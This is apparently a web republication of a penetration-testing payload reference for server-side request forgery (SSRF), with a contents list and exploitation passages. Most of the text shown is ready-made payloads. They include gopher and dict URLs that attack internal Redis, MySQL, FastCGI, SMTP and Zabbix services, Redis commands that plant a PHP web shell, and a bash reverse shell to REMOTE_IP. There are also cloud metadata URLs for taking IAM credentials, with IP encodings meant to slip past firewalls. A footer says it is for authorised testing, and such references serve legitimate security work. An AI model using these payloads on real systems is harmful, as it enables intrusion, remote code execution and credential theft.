Skip to content

Payload topic

Server Side Request Forgery

Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.

Passages
53
Bounty reports
of this class
53 passages
Contents
  1. Server-Side Request Forgery
  2. Methodology
  3. Default Targets
  4. Bypass Localhost with IPv6 Notation
  5. Bypass Localhost with a Domain Redirect
  6. Bypass Localhost with CIDR
  7. Bypass Using Rare Address
  8. Bypass Using an Encoded IP Address
  9. Bypass Using Different Encoding
  10. Bypassing via ipv6 hostname
  11. Bypassing Using a Redirect
  12. Bypass Using DNS Rebinding
  13. Bypass Abusing URL Parsing Discrepancy
  14. Bypass PHP filtervar() Function
  15. Bypass Using TLD localhost
  16. Bypass Using JAR Scheme
  17. File
  18. HTTP
  19. Dict
  20. SFTP
  21. TFTP
  22. LDAP
  23. Netdoc
  24. Gopher
  25. Blind Exploitation
  26. Upgrade to XSS
  27. SSRF-Advanced-Exploitation: SSRF Advanced Exploitation
  28. SSRF-Advanced-Exploitation: DNS AXFR
  29. SSRF-Advanced-Exploitation: FastCGI
  30. SSRF-Advanced-Exploitation: Memcached
  31. SSRF-Advanced-Exploitation: MySQL
  32. SSRF-Advanced-Exploitation: Redis
  33. SSRF-Advanced-Exploitation: SMTP
  34. SSRF-Advanced-Exploitation: WSGI
  35. SSRF-Advanced-Exploitation: Zabbix
  36. SSRF-Cloud-Instances: SSRF URL for Cloud Instances
  37. SSRF-Cloud-Instances: SSRF URL for AWS
  38. SSRF-Cloud-Instances: SSRF URL for AWS ECS
  39. SSRF-Cloud-Instances: SSRF URL for AWS Elastic Beanstalk
  40. SSRF-Cloud-Instances: SSRF URL for AWS Lambda
  41. SSRF-Cloud-Instances: SSRF URL for Google Cloud
  42. SSRF-Cloud-Instances: Add an SSH key
  43. SSRF-Cloud-Instances: SSRF URL for Digital Ocean
  44. SSRF-Cloud-Instances: SSRF URL for Packetcloud
  45. SSRF-Cloud-Instances: SSRF URL for Azure
  46. SSRF-Cloud-Instances: SSRF URL for OpenStack/RackSpace
  47. SSRF-Cloud-Instances: SSRF URL for HP Helion
  48. SSRF-Cloud-Instances: SSRF URL for Oracle Cloud
  49. SSRF-Cloud-Instances: SSRF URL for Alibaba
  50. SSRF-Cloud-Instances: SSRF URL for Hetzner Cloud
  51. SSRF-Cloud-Instances: SSRF URL for Kubernetes ETCD
  52. SSRF-Cloud-Instances: SSRF URL for Docker
  53. SSRF-Cloud-Instances: SSRF URL for Rancher

TFTP

SourceOn the Atlas

Trivial File Transfer Protocol, works over UDP

ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

LDAP

SourceOn the Atlas

Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Netdoc

SourceOn the Atlas

Wrapper for Java when your payloads struggle with "`\n`" and "`\r`" characters.

ssrf.php?url=netdoc:///etc/passwd

Gopher

SourceOn the Atlas

The `gopher://` protocol is a lightweight, text-based protocol that predates the modern World Wide Web. It was designed for distributing, searching, and retrieving documents over the Internet.

gopher://[host]:[port]/[type][selector]

This scheme is very useful as it as be used to send data to TCP protocol.

gopher://localhost:25/_MAIL%20FROM:<attacker@example.com>%0D%0A

Refer to the SSRF Advanced Exploitation to explore the `gopher://` protocol deeper.

Blind Exploitation

SourceOn the Atlas

> When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read. Use an SSRF chain to gain an Out-of-Band output: [assetnote/blind-ssrf-chains](https://github.com/assetnote/blind-ssrf-chains) **Possible via HTTP(s)**: * [Elasticsearch](https://github.com/assetnote/blind-ssrf-chains#elasticsearch) * [Weblogic](https://github.com/assetnote/blind-ssrf-chains#weblogic) * [Hashicorp Consul](https://github.com/assetnote/blind-ssrf-chains#consul) * [Shellshock](https://github.com/assetnote/blind-ssrf-chains#shellshock) * [Apache Druid](https://github.com/assetnote/blind-ssrf-chains#druid) * [Apache Solr](https://github.com/assetnote/blind-ssrf-chains#solr) * [PeopleSoft](https://github.com/assetnote/blind-ssrf-chains#peoplesoft) * [Apache Struts](https://github.com/assetnote/blind-ssrf-chains#struts) * [JBoss](https://github.com/assetnote/blind-ssrf-chains#jboss) * [Confluence](https://github.com/assetnote/blind-ssrf-chains#confluence) * [Jira](https://github.com/assetnote/blind-ssrf-chains#jira) * [Other Atlassian Products](https://github.com/assetnote/blind-ssrf-chains#atlassian-products) * [OpenTSDB](https://github.com/assetnote/blind-ssrf-chains#opentsdb) * [Jenkins](https://github.com/assetnote/blind-ssrf-chains#jenkins) * [Hystrix Dashboard](https://github.com/assetnote/blind-ssrf-chains#hystrix) * [W3 Total Cache](https://github.com/assetnote/blind-ssrf-chains#w3) * [Docker](https://github.com/assetnote/blind-ssrf-chains#docker) * [Gitlab Prometheus Redis Exporter](https://github.com/assetnote/blind-ssrf-chains#redisexporter) **Possible via Gopher**: * [Redis](https://github.com/assetnote/blind-ssrf-chains#redis) * [Memcache](https://github.com/assetnote/blind-ssrf-chains#memcache) * [Apache Tomcat](https://github.com/assetnote/blind-ssrf-chains#tomcat)

Upgrade to XSS

SourceOn the Atlas

When the SSRF doesn't have any critical impact, the network is segmented and you can't reach other machine, the SSRF doesn't allow you to exfiltrate files from the server. You can try to upgrade the SSRF to an XSS, by including an SVG file containing Javascript code.

https://example.com/ssrf.php?url=http://brutelogic.com.br/poc.svg

SSRF-Advanced-Exploitation: SSRF Advanced Exploitation

SourceOn the Atlas

> Some services (e.g., Redis, Elasticsearch) allow unauthenticated data writes or command execution when accessed directly. An attacker could exploit SSRF to interact with these services, injecting malicious payloads like web shells or manipulating application state.

SSRF-Advanced-Exploitation: DNS AXFR

SourceOn the Atlas

Query an internal DNS resolver to trigger a full zone transfer (**AXFR**) and exfiltrate a list of subdomains.

from urllib.parse import quote
domain,tld = "example.lab".split('.')
dns_request =  b"\x01\x03\x03\x07"    # BITMAP
dns_request += b"\x00\x01"            # QCOUNT
dns_request += b"\x00\x00"            # ANCOUNT
dns_request += b"\x00\x00"            # NSCOUNT
dns_request += b"\x00\x00"            # ARCOUNT
dns_request += len(domain).to_bytes() # LEN DOMAIN
dns_request += domain.encode()        # DOMAIN
dns_request += len(tld).to_bytes()    # LEN TLD
dns_request += tld.encode()           # TLD
dns_request += b"\x00"                # DNAME EOF
dns_request += b"\x00\xFC"            # QTYPE AXFR (252)
dns_request += b"\x00\x01"            # QCLASS IN (1)
dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_request
print(f'gopher://127.0.0.1:25/_{quote(dns_request)}')

Example of payload for `example.lab`: `gopher://127.0.0.1:25/_%00%1D%01%03%03%07%00%01%00%00%00%00%00%00%07example%03lab%00%00%FC%00%01`

curl -s -i -X POST -d 'url=gopher://127.0.0.1:53/_%2500%251d%25a9%25c1%2500%2520%2500%2501%2500%2500%2500%2500%2500%2500%2507%2565%2578%2561%256d%2570%256c%2565%2503%256c%2561%2562%2500%2500%25fc%2500%2501' http://localhost:5000/ssrf --output - | xxd

SSRF-Advanced-Exploitation: FastCGI

SourceOn the Atlas

Requires to know the full path of one PHP file on the server, by default the exploit is using `/usr/share/php/PEAR.php`.

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3F%3E%00%00%00%00

SSRF-Advanced-Exploitation: Memcached

SourceOn the Atlas

Memcached communicates over port 11211 by default. While it is primarily used for storing serialized data to enhance application performance, vulnerabilities can arise during the deserialization of this data.

python2.7 ./gopherus.py --exploit pymemcache
python2.7 ./gopherus.py --exploit rbmemcache
python2.7 ./gopherus.py --exploit phpmemcache
python2.7 ./gopherus.py --exploit dmpmemcache

SSRF-Advanced-Exploitation: MySQL

SourceOn the Atlas

MySQL user should not be password protected.

$ python2.7 ./gopherus.py --exploit mysql
Give MySQL username: root
Give query to execute: SELECT 123;

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%00%00%00%03%53%45%4c%45%43%54%20%31%32%33%3b%01%00%00%00%01

SSRF-Advanced-Exploitation: Redis

SourceOn the Atlas

> Redis is a database system that stores everything in RAM The attacker changes Redis's dump directory to the web server's document root (`/var/www/html`) and renames the dump file to `file.php`, ensuring that when the database is saved, it generates a PHP file. They then create a Redis key (`mykey`) containing the web shell code, which enables remote command execution via HTTP GET parameters. Finally, the `SAVE` command forces Redis to write the current in-memory database to disk, resulting in the creation of the malicious web shell at `/var/www/html/file.php`.

CONFIG SET dir /var/www/html
CONFIG SET dbfilename file.php
SET mykey "<?php system($_GET[0])?>"
SAVE

* Getting a webshell with `dict://` ```powershell dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>" dict://127.0.0.1:6379/SAVE ``` * Getting a PHP reverse shell with `gopher://` ```powershell gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22 gopher://127.0.0.1:6379/_save ```

SSRF-Advanced-Exploitation: SMTP

SourceOn the Atlas

Malicious actors can craft `gopher://` URLs to manipulate low-level protocols (like HTTP or SMTP) on internal systems.

gopher://localhost:25/_MAIL%20FROM:<attacker@example.com>%0D%0A

The following PHP script can be used to generate a page that will redirect to the `gopher://` payload.

<?php
    $commands = array(
            'HELO victim.com',
            'MAIL FROM: <admin@victim.com>',
            'RCPT To: <User@[ATTACKER.DOMAIN.TLD]>',
            'DATA',
            'Subject: @hacker!',
            'Hello Friend',
            '.'
    );
    $payload = implode('%0A', $commands);
    header('Location: gopher://0:25/_'.$payload);
?>

SSRF-Advanced-Exploitation: WSGI

SourceOn the Atlas

Exploit using the Gopher protocol, full exploit script available at [wofeiwo/webcgi-exploits/uwsgi_exp.py](https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py).

gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py

| Header | | | |-----------|-----------|-------------| | modifier1 | (1 byte) | 0 (%00) | | datasize | (2 bytes) | 26 (%1A%00) | | modifier2 | (1 byte) | 0 (%00) | | Variable (UWSGI_FILE) | | | | |-----------------------|-----------|----|----------------| | key length | (2 bytes) | 10 | (%0A%00) | | key data | (m bytes) | | UWSGI_FILE | | value length | (2 bytes) | 12 | (%0C%00) | | value data | (n bytes) | | /tmp/test.py |

SSRF-Advanced-Exploitation: Zabbix

SourceOn the Atlas

If `EnableRemoteCommands=1` is enabled in the Zabbix Agent configuration, it allows the execution of remote commands.

gopher://127.0.0.1:10050/_system.run%5B%28id%29%3Bsleep%202s%5D

SSRF-Cloud-Instances: SSRF URL for Cloud Instances

SourceOn the Atlas

> When exploiting Server-Side Request Forgery (SSRF) in cloud environments, attackers often target metadata endpoints to retrieve sensitive instance information (e.g., credentials, configurations). Below is a categorized list of common URLs for various cloud and infrastructure providers

SSRF-Cloud-Instances: SSRF URL for AWS

SourceOn the Atlas

The AWS Instance Metadata Service is a service available within Amazon EC2 instances that allows those instances to access metadata about themselves. - [Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories) * IPv4 endpoint (old): `http://169.254.169.254/latest/meta-data/` * IPv4 endpoint (new) requires the header `X-aws-ec2-metadata-token`

  export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
  curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"

* IPv6 endpoint: `http://[fd00:ec2::254]/latest/meta-data/` In case of a WAF, you might want to try different ways to connect to the API. * DNS record pointing to the AWS API IP

  http://instance-data
  http://169.254.169.254
  http://169.254.169.254.nip.io/

* HTTP redirect

  Static:http://nicob.net/redir6a
  Dynamic:http://nicob.net/redir-http-169.254.169.254:80-

* Encoding the IP to bypass WAF

  http://425.510.425.510 Dotted decimal with overflow
  http://2852039166 Dotless decimal
  http://7147006462 Dotless decimal with overflow
  http://0xA9.0xFE.0xA9.0xFE Dotted hexadecimal
  http://0xA9FEA9FE Dotless hexadecimal
  http://0x41414141A9FEA9FE Dotless hexadecimal with overflow
  http://0251.0376.0251.0376 Dotted octal
  http://0251.00376.000251.0000376 Dotted octal with padding
  http://0251.254.169.254 Mixed encoding (dotted octal + dotted decimal)
  http://[::ffff:a9fe:a9fe] IPV6 Compressed
  http://[0:0:0:0:0:ffff:a9fe:a9fe] IPV6 Expanded
  http://[0:0:0:0:0:ffff:169.254.169.254] IPV6/IPV4
  http://[fd00:ec2::254] IPV6

These URLs return a list of IAM roles associated with the instance. You can then append the role name to this URL to retrieve the security credentials for the role.

http://169.254.169.254/latest/meta-data/iam/security-credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]

This URL is used to access the user data that was specified when launching the instance. User data is often used to pass startup scripts or other configuration information into the instance.

http://169.254.169.254/latest/user-data

Other URLs to query to access various pieces of metadata about the instance, like the hostname, public IPv4 address, and other properties.

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/dynamic/instance-identity/document

**Examples**: * Jira SSRF leading to AWS info disclosure - `https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance` * *Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/`

SSRF-Cloud-Instances: SSRF URL for AWS ECS

SourceOn the Atlas

If you have an SSRF with file system access on an ECS instance, try extracting `/proc/self/environ` to get UUID.

curl http://169.254.170.2/v2/credentials/<UUID>

This way you'll extract IAM keys of the attached role

SSRF-Cloud-Instances: SSRF URL for AWS Elastic Beanstalk

SourceOn the Atlas

We retrieve the `accountId` and `region` from the API.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.

SSRF-Cloud-Instances: SSRF URL for AWS Lambda

SourceOn the Atlas

AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment.

http://localhost:9001/2018-06-01/runtime/invocation/next
http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next

Docs: <https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next>

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository. Data as of 2026-11-15.